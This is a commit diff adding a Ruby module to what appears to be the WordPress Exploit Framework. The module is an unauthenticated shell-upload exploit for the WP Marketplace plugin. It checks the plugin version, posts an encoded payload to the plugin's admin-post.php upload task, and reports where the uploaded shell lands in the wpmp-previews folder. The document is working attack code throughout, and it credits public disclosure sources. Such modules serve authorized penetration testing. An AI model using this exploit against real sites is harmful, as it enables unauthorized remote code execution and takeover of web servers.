Add WP Marketplace shell upload

Author: rastating

modules/exploits/wp_marketplace_shell_upload.rb

@@ -0,0 +1,38 @@
+class Wpxf::Exploit::WpMarketplaceShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Marketplace Unauthenticated Shell Upload',
+      author: [
+        'White Fir Design',               # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8642'],
+        ['URL', 'http://labs.sucuri.net/?note=2016-10-17']
+      ],
+      date: 'Oct 14 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wpmarketplace')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_admin, 'admin-post.php?task=wpmp_upload_previews')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('Filedata', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, 'wpmp-previews', upload_result.body)
+  end
+end